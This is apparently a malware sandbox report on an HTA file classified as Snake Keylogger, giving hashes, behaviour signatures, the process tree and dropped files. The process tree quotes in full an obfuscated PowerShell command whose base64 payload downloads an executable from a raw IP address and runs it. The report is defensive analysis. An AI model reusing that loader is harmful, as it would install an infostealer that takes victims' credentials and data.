Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    123s
  • max time network
    128s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    06/10/2024, 18:45

General

  • Target

    na.hta

  • Size

    116KB

  • MD5

    bac652fa9a932e3f71411fb993010377

  • SHA1

    0dbe1f2b08510b57f0e00189d2355f57e300c47f

  • SHA256

    f3761ed191aeddf0e23bba17e361229d81547309dac3b451202df849083b7916

  • SHA512

    0ab2913b55e1f60cdb26f003d2c17b492385a43bca2d2c5acb1a659c9a5ed3d232eeceb8b0d4b68ffad11599dab9c27d16d1c990f23e54ea3a8ccd73a4de536f

  • SSDEEP

    96:Ea+M73mAWZeuhtAWZDuhogROBHRj/oyYJQAWZSAWZXuhdAWZkAT:Ea+Q3mVkuhtVVuhhRwHxY+VgVFuhdVZT

Malware Config

Extracted

Family

snakekeylogger

Credentials

Signatures

  • Snake Keylogger

    Keylogger and Infostealer first seen in November 2020.

  • Snake Keylogger payload 1 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Evasion via Device Credential Deployment 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • AutoIT Executable 1 IoCs

    AutoIT scripts compiled to PE executables.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 19 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\na.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:3732
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" "/c PoweRsHElL -EX bYpASs -nOp -W 1 -C DEvICECReDENTiaLDEPlOyMENt.eXE ; IEX($(IEx('[sySTEM.TEXt.enCoding]'+[cHaR]0X3a+[cHAR]58+'UTF8.GetsTRiNG([SyStem.ConVERt]'+[CHaR]58+[cHaR]0x3A+'FrOMBaSE64STriNG('+[cHAr]34+'JGo0Wk9GICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFkRC1UeVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lbWJFckRlZmluaVRpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJMTU9OLmRMTCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEdsdm1vRndaWSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBqc2tJd2FtLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFNoYmNnUUd5c1gsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxYVSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBHYWp0R0RieE5qKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiblhjTm5QandrIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYW1lc1BBY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBFa21xICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRqNFpPRjo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE3Mi4yNDUuMTIzLjYvMjMwL3Rhc2tob3N0dy5leGUiLCIkZU5WOkFQUERBVEFcdGFza2hvc3R3LmV4ZSIsMCwwKTtzVGFSVC1TTEVlUCgzKTtzdGFydCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRU52OkFQUERBVEFcdGFza2hvc3R3LmV4ZSI='+[CHAr]0X22+'))')))"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1896
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        PoweRsHElL -EX bYpASs -nOp -W 1 -C DEvICECReDENTiaLDEPlOyMENt.eXE ; IEX($(IEx('[sySTEM.TEXt.enCoding]'+[cHaR]0X3a+[cHAR]58+'UTF8.GetsTRiNG([SyStem.ConVERt]'+[CHaR]58+[cHaR]0x3A+'FrOMBaSE64STriNG('+[cHAr]34+'JGo0Wk9GICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFkRC1UeVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lbWJFckRlZmluaVRpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJMTU9OLmRMTCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEdsdm1vRndaWSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBqc2tJd2FtLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFNoYmNnUUd5c1gsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxYVSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBHYWp0R0RieE5qKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiblhjTm5QandrIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYW1lc1BBY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBFa21xICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRqNFpPRjo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE3Mi4yNDUuMTIzLjYvMjMwL3Rhc2tob3N0dy5leGUiLCIkZU5WOkFQUERBVEFcdGFza2hvc3R3LmV4ZSIsMCwwKTtzVGFSVC1TTEVlUCgzKTtzdGFydCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRU52OkFQUERBVEFcdGFza2hvc3R3LmV4ZSI='+[CHAr]0X22+'))')))"
        3⤵
        • Blocklisted process makes network request
        • Evasion via Device Credential Deployment
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2312
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\gkvkbu5g\gkvkbu5g.cmdline"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:468
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESD4A5.tmp" "c:\Users\Admin\AppData\Local\Temp\gkvkbu5g\CSC7E607820E6A948DD8CD4CB1670F84920.TMP"
            5⤵
            • System Location Discovery: System Language Discovery
            PID:3948
        • C:\Users\Admin\AppData\Roaming\taskhostw.exe
          "C:\Users\Admin\AppData\Roaming\taskhostw.exe"
          4⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of WriteProcessMemory
          PID:1616
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
            "C:\Users\Admin\AppData\Roaming\taskhostw.exe"
            5⤵
            • Accesses Microsoft Outlook profiles
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • outlook_office_path
            • outlook_win_path
            PID:5056

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\RESD4A5.tmp

    Filesize

    1KB

    MD5

    3b3e5951462e3dec15d473cd9f308e52

    SHA1

    57512c0cf96f522ea02bff52f6bab381c8ebf323

    SHA256

    f32236e911d3ec698fe98419f4d249010bd117ba15f6cf70a29b1a6b9807d6e4

    SHA512

    4278fcb1e436536b78b8d773aca98cf39befce1f2069aa837e362ebd3e176d72fd61270291498b58ab2be251c244b29110d852a149f068a070530a5418a38cb9

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4hjj1u0b.pao.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\gkvkbu5g\gkvkbu5g.dll

    Filesize

    3KB

    MD5

    6b67b5688f49d219931c687ef0d0eca6

    SHA1

    21a777229c64bbcbf3e53208f163bddfbfe258f6

    SHA256

    45f9e67f06d318497d32a943508136efd5e8a7dea08af5275636f8ce9e90d2b4

    SHA512

    d267f47b6b5046a94e05f4b1e35527cddf0e62bd012df85496b313f1f285d67083824c9793663cdc28dcd08826e5a49a26660ea7de6b20073a111373c66ea936

  • C:\Users\Admin\AppData\Roaming\taskhostw.exe

    Filesize

    934KB

    MD5

    d515411b9a3c0d9fb13b9c6a928a7fd0

    SHA1

    f940a7302ac76567c15efb1a15d789b42224aac3

    SHA256

    7b2fcffe77e320517c511f5a3700d8545712475aeb4dc04088537fa8456fec77

    SHA512

    447a5ab235672a2d067e5792260aa5b978720f8d67ac80bd875e74d7032cb496e3b0463f3c3870bd87d975cddf7f750df35a9ea7aa8aa65f1bd1590d3305c9d6

  • \??\c:\Users\Admin\AppData\Local\Temp\gkvkbu5g\CSC7E607820E6A948DD8CD4CB1670F84920.TMP

    Filesize

    652B

    MD5

    ae1ab6dc39282f6bf8fbc95a10e16b56

    SHA1

    02c225ec5ca91c1e294de3d8bbc846c69245fa84

    SHA256

    59d5ddf70399dee8efe834e4e132bbd049fa7e29e26164c52c710897d491c2b4

    SHA512

    36df4f26e6f2ab11e7f2cea8501dbf34d595baf9cd95dbee015ddf81a80e2a1b42ed29028c20c48c3b2e1b5621d600c61854174c54aa0919228f33d2dd33c2ef

  • \??\c:\Users\Admin\AppData\Local\Temp\gkvkbu5g\gkvkbu5g.0.cs

    Filesize

    489B

    MD5

    66cd8bc31e61e003cddb2ea81c47016a

    SHA1

    b9172635caecd693d1476d08c9cecb5777ea49bb

    SHA256

    0ce2cb15b914d1becfba7f1eed7a96e44610e5b70a8d4a9568ed117d6c3a73dd

    SHA512

    6dd379fff538ecec3814b2bf5ffb2d3e8d1f5e8da9f79b416cd2ac81b916633122565cb9ce89f3bcbb1acb1da0269ae2977fdd515f74f9ffc8dbcae15a0a15e4

  • \??\c:\Users\Admin\AppData\Local\Temp\gkvkbu5g\gkvkbu5g.cmdline

    Filesize

    369B

    MD5

    a0c2e8b50719bbb88f2e9f734d9d3406

    SHA1

    0760912d408b5e0bc8ce83bf6d447d0c743e1ffa

    SHA256

    e019990be6c4a24d34aeb2c2cf630d86ac65d2b23807d3dece8c877172c8e248

    SHA512

    3f06ee7c97b9f89f11f3eb77f87430b5259faa8303086b95b39b073214a2d453a035a99d773bad46f0bbcd82940528205a9036bd417190298ee45b3b8464a1f6

  • memory/2312-41-0x00000000078A0000-0x00000000078B1000-memory.dmp

    Filesize

    68KB

  • memory/2312-45-0x0000000007910000-0x0000000007918000-memory.dmp

    Filesize

    32KB

  • memory/2312-17-0x0000000005E80000-0x00000000061D4000-memory.dmp

    Filesize

    3.3MB

  • memory/2312-18-0x0000000006350000-0x000000000636E000-memory.dmp

    Filesize

    120KB

  • memory/2312-19-0x00000000063A0000-0x00000000063EC000-memory.dmp

    Filesize

    304KB

  • memory/2312-22-0x00000000717D0000-0x0000000071F80000-memory.dmp

    Filesize

    7.7MB

  • memory/2312-21-0x000000006E090000-0x000000006E0DC000-memory.dmp

    Filesize

    304KB

  • memory/2312-20-0x0000000007350000-0x0000000007382000-memory.dmp

    Filesize

    200KB

  • memory/2312-33-0x0000000006990000-0x00000000069AE000-memory.dmp

    Filesize

    120KB

  • memory/2312-23-0x000000006E200000-0x000000006E554000-memory.dmp

    Filesize

    3.3MB

  • memory/2312-34-0x0000000007620000-0x00000000076C3000-memory.dmp

    Filesize

    652KB

  • memory/2312-35-0x00000000717D0000-0x0000000071F80000-memory.dmp

    Filesize

    7.7MB

  • memory/2312-36-0x00000000717D0000-0x0000000071F80000-memory.dmp

    Filesize

    7.7MB

  • memory/2312-38-0x00000000073F0000-0x000000000740A000-memory.dmp

    Filesize

    104KB

  • memory/2312-37-0x0000000007D50000-0x00000000083CA000-memory.dmp

    Filesize

    6.5MB

  • memory/2312-39-0x0000000007730000-0x000000000773A000-memory.dmp

    Filesize

    40KB

  • memory/2312-40-0x0000000007940000-0x00000000079D6000-memory.dmp

    Filesize

    600KB

  • memory/2312-0-0x00000000717DE000-0x00000000717DF000-memory.dmp

    Filesize

    4KB

  • memory/2312-42-0x00000000078D0000-0x00000000078DE000-memory.dmp

    Filesize

    56KB

  • memory/2312-43-0x00000000078E0000-0x00000000078F4000-memory.dmp

    Filesize

    80KB

  • memory/2312-44-0x0000000007920000-0x000000000793A000-memory.dmp

    Filesize

    104KB

  • memory/2312-7-0x0000000005D10000-0x0000000005D76000-memory.dmp

    Filesize

    408KB

  • memory/2312-6-0x0000000005CA0000-0x0000000005D06000-memory.dmp

    Filesize

    408KB

  • memory/2312-5-0x00000000053A0000-0x00000000053C2000-memory.dmp

    Filesize

    136KB

  • memory/2312-4-0x00000000717D0000-0x0000000071F80000-memory.dmp

    Filesize

    7.7MB

  • memory/2312-3-0x0000000005440000-0x0000000005A68000-memory.dmp

    Filesize

    6.2MB

  • memory/2312-2-0x00000000717D0000-0x0000000071F80000-memory.dmp

    Filesize

    7.7MB

  • memory/2312-58-0x0000000007910000-0x0000000007918000-memory.dmp

    Filesize

    32KB

  • memory/2312-64-0x00000000717DE000-0x00000000717DF000-memory.dmp

    Filesize

    4KB

  • memory/2312-65-0x00000000717D0000-0x0000000071F80000-memory.dmp

    Filesize

    7.7MB

  • memory/2312-66-0x00000000717D0000-0x0000000071F80000-memory.dmp

    Filesize

    7.7MB

  • memory/2312-67-0x0000000007BE0000-0x0000000007C02000-memory.dmp

    Filesize

    136KB

  • memory/2312-68-0x0000000008980000-0x0000000008F24000-memory.dmp

    Filesize

    5.6MB

  • memory/2312-1-0x0000000002D90000-0x0000000002DC6000-memory.dmp

    Filesize

    216KB

  • memory/2312-81-0x00000000717D0000-0x0000000071F80000-memory.dmp

    Filesize

    7.7MB

  • memory/5056-84-0x0000000000400000-0x0000000000426000-memory.dmp

    Filesize

    152KB

  • memory/5056-85-0x0000000005310000-0x00000000053AC000-memory.dmp

    Filesize

    624KB

  • memory/5056-86-0x00000000064C0000-0x0000000006510000-memory.dmp

    Filesize

    320KB

  • memory/5056-87-0x00000000066E0000-0x00000000068A2000-memory.dmp

    Filesize

    1.8MB

  • memory/5056-88-0x00000000065B0000-0x0000000006642000-memory.dmp

    Filesize

    584KB

  • memory/5056-89-0x0000000006550000-0x000000000655A000-memory.dmp

    Filesize

    40KB